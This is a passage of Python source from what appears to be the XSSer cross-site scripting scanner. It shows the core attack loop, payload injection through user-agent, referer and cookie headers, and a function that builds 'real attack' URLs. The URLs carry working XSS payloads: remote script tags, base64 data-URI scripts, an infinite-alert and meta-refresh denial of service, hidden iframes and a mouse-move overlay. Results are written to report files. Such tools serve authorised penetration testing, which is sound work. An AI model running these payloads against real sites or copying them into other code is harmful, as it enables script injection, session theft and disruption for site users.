  2787. self.report("[Info] Generating 'XSS Tunneling' [HTTP GET] exploit:\n")
  2788. else: # POST
  2789. self.report("[Info] Generating 'XSS Tunneling' [HTTP POST] exploit:\n")
  2790. if "#http://localhost:19084/success/"+str(hashing) in v: # re-parsing injected params for POST
  2791. v = v.replace("#http://localhost:19084/success/"+str(hashing), "")
  2792. if "<script>document.location=document.location.hash.substring(1)</script>" in v:
  2793. v = v.replace("<script>document.location=document.location.hash.substring(1)", "<script src='http://localhost:19084/success/"+str(hashing)+"'>")
  2794. self.report(v , "\n")
  2795. self.report("-"*25+"\n")
  2796. self.token_arrived_flag, self.success_arrived_flag, self.token_arrived_hash = self.hub.check_hash(hashing) # validate hashes (client+server)
  2797. if self.token_arrived_flag == True and self.token_arrived_hash:
  2798. self.report("[Info] Validating HASHES:\n")
  2799. if self.success_arrived_flag == False:
  2800. self.report(" INJECTED: [", hashing, "] <-> RECEIVED: [", self.token_arrived_hash, "] -> [OK!]\n")
  2801. else:
  2802. self.report(" INJECTED: [", hashing, "] <-> RECEIVED: [KEYWORD: '/success/' via remote Cross URL Injection] -> [OK!]\n")
  2803. self.report("-"*25+"\n")
  2804. if self.options.postdata: # POST
  2805. self.report("[Info] XSS [HTTP POST] VECTOR [100% VULNERABLE] FOUND!:\n\n|-> "+"".join(self.successful_urls), "(POST:", query_string + ")\n")
  2806. else: # GET
  2807. self.report("[Info] XSS [HTTP GET] VECTOR [100% VULNERABLE] FOUND!:\n\n|-> "+"".join(self.successful_urls), "\n")
  2808. self.token_arrived_hashes.append(self.token_arrived_hash) # add token arrived hashes for counting
  2809. else:
  2810. self.report("[Error] Remote XSS exploit [--reverse-check] has FAILED! -> [PASSING!]\n")
  2811. self.report("-"*25+"\n")
  2812. if self.options.reversecheck or self.options.dom:
  2813. try:
  2814. self.driver.close() # end headless embed web browser driver!
  2815. except:
  2816. pass
  2817. for reporter in self._reporters:
  2818. reporter.end_attack() # end reports
  2819. if self.mothership:
  2820. self.mothership.remove_reporter(self) # end mothership
  2821. if self.hub:
  2822. self.land() # end token hub server
  2823. self.print_results()
  2824. def sanitize_urls(self, urls):
  2825. all_urls = set()
  2826. if urls is not None:
  2827. for url in urls:
  2828. if url.startswith("http://") or url.startswith("https://"):
  2829. self.urlspoll.append(url)
  2830. all_urls.add(url)
  2831. else:
  2832. if self.options.crawling:
  2833. self.report("[Error] This target URL: (" + url + ") is not correct! [DISCARDED]\n")
  2834. else:
  2835. self.report("\n[Error] This target URL: (" + url + ") is not correct! [DISCARDED]\n")
  2836. url = None
  2837. else:
  2838. self.report("\n[Error] Not any valid source provided to start a test... Aborting!\n")
  2839. return all_urls
  2840. def land(self, join=False):
  2841. self._landing = True
  2842. if self.hub:
  2843. self.hub.shutdown()
  2844. if join:
  2845. self.hub.join()
  2846. self.hub = None
  2847. def _prepare_extra_attacks(self, payload):
  2848. """
  2849. Setup extra attacks.
  2850. """
  2851. options = self.options
  2852. agents = [] # user-agents
  2853. try:
  2854. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  2855. except:
  2856. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  2857. for line in f:
  2858. agents.append(line)
  2859. extra_agent = random.choice(agents).strip() # set random user-agent
  2860. extra_referer = "127.0.0.1"
  2861. extra_cookie = None
  2862. if self.options.script:
  2863. if 'XSS' in payload['payload']:
  2864. payload['payload'] = payload['payload'].replace("XSS","PAYLOAD")
  2865. if 'PAYLOAD' in payload['payload'] or 'XSS' in payload['payload']:
  2866. if options.xsa:
  2867. hashing = self.generate_hash('xsa')
  2868. agent = payload['payload'].replace('PAYLOAD', hashing)
  2869. self._ongoing_attacks['xsa'] = hashing
  2870. self.xsa_injection = self.xsa_injection + 1
  2871. self.options.agent = agent
  2872. extra_agent = agent
  2873. self.extra_hashed_injections[hashing] = "XSA", payload['payload']
  2874. if options.xsr:
  2875. hashing = self.generate_hash('xsr')
  2876. referer = payload['payload'].replace('PAYLOAD', hashing)
  2877. self._ongoing_attacks['xsr'] = hashing
  2878. self.xsr_injection = self.xsr_injection + 1
  2879. self.options.referer = referer
  2880. extra_referer = referer
  2881. self.extra_hashed_injections[hashing] = "XSR", payload['payload']
  2882. if options.coo:
  2883. hashing = self.generate_hash('cookie')
  2884. cookie = payload['payload'].replace('PAYLOAD', hashing)
  2885. self._ongoing_attacks['coo'] = hashing
  2886. self.coo_injection = self.coo_injection + 1
  2887. self.options.cookie = cookie
  2888. extra_cookie = cookie
  2889. self.extra_hashed_injections[hashing] = "COO", payload['payload']
  2890. return extra_agent, extra_referer, extra_cookie
  2891. def attack(self, urls, payloads, query_string):
  2892. """
  2893. Perform an attack on the given urls with the provided payloads and
  2894. query_string.
  2895. """
  2896. for url in urls:
  2897. if self.pool:
  2898. self.poll_workers()
  2899. else:
  2900. self.mothership.poll_workers()
  2901. if not self._landing:
  2902. self.attack_url(url, payloads, query_string)
  2903. def generate_real_attack_url(self, dest_url, description, method, hashing, query_string, payload, orig_url):
  2904. """
  2905. Generate a real attack url using data from a successful test.
  2906. This method also applies DOM stealth mechanisms.
  2907. """
  2908. user_attack_payload = payload['payload']
  2909. if self.options.finalpayload:
  2910. user_attack_payload = self.options.finalpayload
  2911. elif self.options.finalremote:
  2912. user_attack_payload = '<script src="' + self.options.finalremote + '"></script>'
  2913. elif self.options.finalpayload or self.options.finalremote and payload["browser"] == "[Data Control Protocol Injection]":
  2914. user_attack_payload = '<a href="data:text/html;base64,' + b64encode(self.options.finalpayload) + '></a>'
  2915. elif self.options.finalpayload or self.options.finalremote and payload["browser"] == "[Induced Injection]":
  2916. user_attack_payload = self.options.finalpayload
  2917. if self.options.dos:
  2918. user_attack_payload = '<script>for(;;)alert("You were XSSed!!");</script>'
  2919. if self.options.doss:
  2920. user_attack_payload = '<meta%20http-equiv="refresh"%20content="0;">'
  2921. if self.options.b64:
  2922. user_attack_payload = '<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4">'
  2923. if self.options.onm:
  2924. user_attack_payload = '"style="position:absolute;top:0;left:0;z-index:1000;width:3000px;height:3000px" onMouseMove="' + user_attack_payload
  2925. if self.options.ifr:
  2926. user_attack_payload = '<iframe src="' + user_attack_payload + '" width="0" height="0"></iframe>'
  2927. do_anchor_payload = self.options.anchor
  2928. anchor_data = None
  2929. attack_hash = None
  2930. if do_anchor_payload: # DOM Shadows!
  2931. dest_url, agent, referer, cookie = self.get_url_payload(orig_url, payload, query_string, user_attack_payload)
  2932. dest_url = dest_url.replace('?', '#')
  2933. else:
  2934. dest_url, agent, referer, cookie = self.get_url_payload(orig_url, payload, query_string, user_attack_payload)
  2935. if attack_hash:
  2936. self.final_attacks[attack_hash] = {'url':dest_url}
  2937. return dest_url
  2938. def token_arrived(self, attack_hash):
  2939. if not self.mothership: # only mothership calls on token arrival
  2940. self.final_attack_callback(attack_hash)
  2941. def final_attack_callback(self, attack_hash):
  2942. if attack_hash in self.final_attacks:
  2943. dest_url = self.final_attacks[attack_hash]['url']
  2944. self.report('[*] Browser check:', dest_url)
  2945. for reporter in self._reporters:
  2946. reporter.add_checked(dest_url)
  2947. if self._reporter:
  2948. from twisted.internet import reactor
  2949. reactor.callFromThread(self._reporter.post, 'SUCCESS ' + dest_url)
  2950. self.final_attacks.pop(attack_hash)
  2951. def apply_postprocessing(self, dest_url, description, method, hashing, query_string, payload, orig_url):
  2952. real_attack_url = self.generate_real_attack_url(dest_url, description, method, hashing, query_string, payload, orig_url)
  2953. return real_attack_url
  2954. def report(self, *args):
  2955. args = list([str(s) for s in args])
  2956. formatted = " ".join(args)
  2957. if not self.options.silent:
  2958. print(formatted)
  2959. for reporter in self._reporters:
  2960. reporter.post(formatted)
  2961. def print_results(self):
  2962. """
  2963. Print results from attack.
  2964. """
  2965. self.report('='*75)
  2966. total_injections = len(self.hash_found) + len(self.hash_notfound)
  2967. if len(self.hash_found) + len(self.hash_notfound) == 0:
  2968. pass
  2969. elif self.options.heuristic:
  2970. pass
  2971. else:
  2972. self.report("[*] Final Results:")
  2973. self.report('='*75 + '\n')
  2974. self.report("- Injections:", total_injections)
  2975. self.report("- Failed:", len(self.hash_notfound))
  2976. self.report("- Successful:", len(self.hash_found))
  2977. try:
  2978. _accur = len(self.hash_found) * 100 / total_injections
  2979. except ZeroDivisionError:
  2980. _accur = 0
  2981. self.report("- Accur: %s %%\n" % _accur)
  2982. if not len(self.hash_found) and self.hash_notfound:
  2983. self.report('='*75 + '\n')
  2984. pass
  2985. else:
  2986. self.report('='*75)
  2987. self.report("[*] List of XSS injections:")
  2988. self.report('='*75 + '\n')
  2989. if len(self.hash_found) > 1:
  2990. if len(self.token_arrived_hashes) > 0:
  2991. if len(self.hash_found) == len(self.token_arrived_hashes):
  2992. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] XSS vectors [100% VULNERABLE]! ;-)\n")
  2993. else:
  2994. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.token_arrived_hashes)) + " ] XSS [100% VULNERABLE] of [ " + str(len(self.hash_found)) + " ] possible XSS vectors! ;-)\n")
  2995. else:
  2996. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] possible XSS vectors! ;-)\n")
  2997. else:
  2998. if len(self.token_arrived_hashes) > 0:
  2999. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] XSS vector [100% VULNERABLE]! ;-)\n")
  3000. else:
  3001. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] possible XSS vector! ;-)\n")
  3002. self.report("---------------------" + "\n")
  3003. if self.options.fileoutput:
  3004. fout = open("XSSreport.raw", "w") # write better than append
  3005. for line in self.hash_found:
  3006. if self.options.heuristic or self.options.hash: # not final attack possible when checking
  3007. pass
  3008. else:
  3009. attack_url = self.apply_postprocessing(line[0], line[1], line[2], line[3], line[4], line[5], line[6])
  3010. if line[2] == "XSR":
  3011. self.xsr_found = self.xsr_found + 1
  3012. if len(self.hash_found) < 11:
  3013. if line[4]: # when query string
  3014. self.report("[+] Target:", line[6] + " | " + line[4])
  3015. else:
  3016. self.report("[+] Target:", line[6])
  3017. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3018. self.report("[!] Method: Referer Injection")
  3019. self.report("[*] Hash:", line[3])
  3020. self.report("[*] Payload:", str(Curl.referer))
  3021. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3022. if self.options.fileoutput:
  3023. fout.write("="*75)
  3024. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3025. fout.write("="*75 + "\n\n")
  3026. for h in self.hash_found:
  3027. if h[2] == "XSR":
  3028. if h[4]:
  3029. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3030. else:
  3031. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3032. fout.write("="*75 + "\n\n")
  3033. elif line[2] == "XSA":
  3034. self.xsa_found = self.xsa_found + 1
  3035. if len(self.hash_found) < 11:
  3036. if line[4]: # when query string
  3037. self.report("[+] Target:", line[6] + " | " + line[4])
  3038. else:
  3039. self.report("[+] Target:", line[6])
  3040. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3041. self.report("[!] Method: User-Agent Injection")
  3042. self.report("[*] Hash:", line[3])
  3043. self.report("[*] Payload:", str(Curl.agent))
  3044. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3045. if self.options.fileoutput:
  3046. fout.write("="*75)
  3047. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3048. fout.write("="*75 + "\n\n")
  3049. for h in self.hash_found:
  3050. if h[2] == "XSA":
  3051. if h[4]:
  3052. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3053. else:
  3054. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3055. fout.write("="*75 + "\n\n")
  3056. elif line[2] == "COO":
  3057. self.coo_found = self.coo_found + 1
  3058. if len(self.hash_found) < 11:
  3059. if line[4]: # when query string
  3060. self.report("[+] Target:", line[6] + " | " + line[4])
  3061. else:
  3062. self.report("[+] Target:", line[6])
  3063. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3064. self.report("[!] Method: Cookie Injection")
  3065. self.report("[*] Hash:", line[3])
  3066. self.report("[*] Payload:", str(Curl.cookie))
  3067. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3068. if self.options.fileoutput:
  3069. fout.write("="*75)
  3070. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3071. fout.write("="*75 + "\n\n")
  3072. for h in self.hash_found:
  3073. if h[2] == "COO":
  3074. if h[4]:
  3075. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3076. else:
  3077. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3078. fout.write("="*75 + "\n\n")
  3079. elif line[1] == "[Data Control Protocol Injection]":
  3080. self.dcp_found = self.dcp_found + 1
  3081. if len(self.hash_found) < 11:
  3082. if line[4]: # when query string
  3083. self.report("[+] Target:", line[6] + " | " + line[4])
  3084. else:
  3085. self.report("[+] Target:", line[6])
  3086. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3087. self.report("[!] Method: DCP")
  3088. self.report("[*] Hash:", line[3])
  3089. self.report("[*] Payload:", line[0])
  3090. self.report("[!] Vulnerable: DCP (Data Control Protocol)")
  3091. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3092. self.report("[*] Final Attack:", attack_url)
  3093. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3094. if self.options.fileoutput:
  3095. fout.write("="*75)
  3096. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3097. fout.write("="*75 + "\n\n")
  3098. for h in self.hash_found:
  3099. if h[4]:
  3100. if h[1] == "[Data Control Protocol Injection]":
  3101. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3102. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3103. else:
  3104. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3105. else:
  3106. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3107. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3108. else:
  3109. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3110. fout.write("="*75 + "\n\n")
  3111. elif line[1] == "[Document Object Model Injection]":
  3112. self.dom_found = self.dom_found + 1
  3113. if len(self.hash_found) < 11:
  3114. if line[4]: # when query string
  3115. self.report("[+] Target:", line[6] + " | " + line[4])
  3116. else:
  3117. self.report("[+] Target:", line[6])
  3118. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3119. self.report("[!] Method: DOM")
  3120. self.report("[*] Hash:", line[3])
  3121. self.report("[*] Payload:", line[0])
  3122. self.report("[!] Vulnerable: DOM (Document Object Model)")
  3123. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3124. self.report("[*] Final Attack:", attack_url)
  3125. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3126. if self.options.fileoutput:
  3127. fout.write("="*75)
  3128. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3129. fout.write("="*75 + "\n\n")
  3130. for h in self.hash_found:
  3131. if h[1] == "[Document Object Model Injection]":
  3132. if h[4]:
  3133. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3134. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3135. else:
  3136. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3137. else:
  3138. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3139. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3140. else:
  3141. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3142. fout.write("="*75 + "\n\n")
  3143. elif line[1] == "[Induced Injection]":
  3144. self.httpsr_found = self.httpsr_found +1
  3145. if len(self.hash_found) < 11:
  3146. if line[4]: # when query string
  3147. self.report("[+] Target:", line[6] + " | " + line[4])
  3148. else:
  3149. self.report("[+] Target:", line[6])
  3150. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3151. self.report("[!] Method: INDUCED")
  3152. self.report("[*] Hash:", line[3])
  3153. self.report("[*] Payload:", line[0])
  3154. self.report("[!] Vulnerable: HTTPsr ( HTTP Splitting Response)")
  3155. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3156. self.report("[*] Final Attack:", attack_url)
  3157. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3158. if self.options.fileoutput:
  3159. fout.write("="*75)
  3160. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3161. fout.write("="*75 + "\n\n")
  3162. for h in self.hash_found:
  3163. if h[4]:
  3164. if h[1] == "[Induced Injection]":
  3165. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3166. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3167. else:
  3168. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3169. else:
  3170. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3171. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3172. else:
  3173. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3174. fout.write("="*75 + "\n\n")
  3175. elif line[1] == "[hashing check]":
  3176. if len(self.hash_found) < 11:
  3177. if line[4]:
  3178. self.report("[+] Target:", line[6] + " | " + line[4])
  3179. else:
  3180. self.report("[+] Target:", line[6])
  3181. self.report("[+] Vector: [ " + str(line[3]) + " ]")
  3182. self.report("[!] Method:", line[2])
  3183. self.report("[*] Payload:", line[5])
  3184. self.report("[!] Status: HASH FOUND!", "\n", '-'*50, "\n")
  3185. if self.options.fileoutput:
  3186. fout.write("="*75)
  3187. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3188. fout.write("="*75 + "\n\n")
  3189. for h in self.hash_found:
  3190. if h[1] == "[hashing check]":
  3191. if h[4]:
  3192. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: hashing check" + " \n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status: HASH FOUND!\n\n")
  3193. else:
  3194. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: hashing check" + " \n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status: HASH FOUND!\n\n")
  3195. fout.write("="*75 + "\n\n")
  3196. elif line[1] == "[manual_injection]":
  3197. self.manual_found = self.manual_found + 1
  3198. if len(self.hash_found) < 11:
  3199. if line[4]: # when query string
  3200. self.report("[+] Target:", line[6] + " | " + line[4])
  3201. else:
  3202. self.report("[+] Target:", line[6])
  3203. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3204. self.report("[!] Method: MANUAL")
  3205. self.report("[*] Hash:", line[3])
  3206. self.report("[*] Payload:", line[0])
  3207. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3208. self.report("[*] Final Attack:", attack_url)
  3209. if self.token_arrived_flag == True:
  3210. self.report("[!] Status: XSS FOUND! [100% VULNERABLE]", "\n", '-'*50, "\n")
  3211. else:
  3212. if self.options.reversecheck:
  3213. self.report("[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]", "\n", '-'*50, "\n")
  3214. else:
  3215. self.report("[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]", "\n", '-'*50, "\n")
  3216. if self.options.fileoutput:
  3217. fout.write("="*75)
  3218. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3219. fout.write("="*75 + "\n\n")
  3220. for line in self.hash_found:
  3221. if line[4]:
  3222. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3223. if self.token_arrived_flag == True:
  3224. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3225. else:
  3226. if self.options.reversecheck:
  3227. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3228. else:
  3229. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3230. else:
  3231. if self.token_arrived_flag == True:
  3232. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3233. else:
  3234. if self.options.reversecheck:
  3235. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3236. else:
  3237. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3238. else:
  3239. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3240. if self.token_arrived_flag == True:
  3241. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3242. else:
  3243. if self.options.reversecheck:
  3244. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3245. else:
  3246. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3247. else:
  3248. if self.token_arrived_flag == True:
  3249. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3250. else:
  3251. if self.options.reversecheck:
  3252. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
